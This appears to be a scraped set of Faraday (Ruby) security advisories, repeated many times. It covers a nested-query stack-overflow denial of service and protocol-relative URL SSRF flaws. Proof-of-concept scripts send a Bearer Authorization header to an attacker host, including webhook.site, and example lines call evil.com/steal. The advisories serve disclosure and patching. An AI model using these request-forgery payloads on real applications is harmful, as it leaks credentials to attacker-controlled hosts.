faraday

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

